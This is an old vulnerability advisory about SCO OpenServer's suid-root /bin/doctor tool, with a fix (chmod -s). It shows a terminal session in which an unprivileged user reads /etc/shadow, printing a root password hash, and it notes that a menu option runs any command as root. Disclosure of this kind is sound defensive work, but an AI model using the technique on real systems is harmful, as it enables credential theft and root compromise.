COMMAND
/bin/doctor
SYSTEMS AFFECTED
SCO 5.0.4, 5.0.5
PROBLEM
Brock Tellier found following. There is a local root comprimise
in SCO 5.0.5's /bin/doctor 2.0.0e2 and probably others. By
supplying a doctor script file you can read the first partial line
of any file on the system (good enough for /etc/shadow). Example:
scobox:/bin$ id
uid=3D136(btellier),200(users)
scobox:/bin$ uname -a
SCO_SV scobox 3.2 5.0.5 i386
scobox:/bin$ doctor -V
doctor 2.0.0e 2
scobox:/bin$ doctor -s /etc/shadow
doctor: WARNING User message: invalid command name "root:xbfOLR0ekXN/o:10656::"
scobox:/bin$
And so on. On 5.0.4 this works as well. Appears that doctor
allows any user to have complete control over the system not via
an exploit but simply by the nature of the program. If we didn't
know any better, we would guess that doctor was meant to be mode
700 gone strangely awry and ended up suid-root and world
executable.
The "Command Execution" menu option under "Tools" allows you to
run any command you wish with uid/gid 0!!! It doesn't appear
as though doctor does any security checks at all.
SOLUTION
Just chmod -s until SCO comes out with a fix.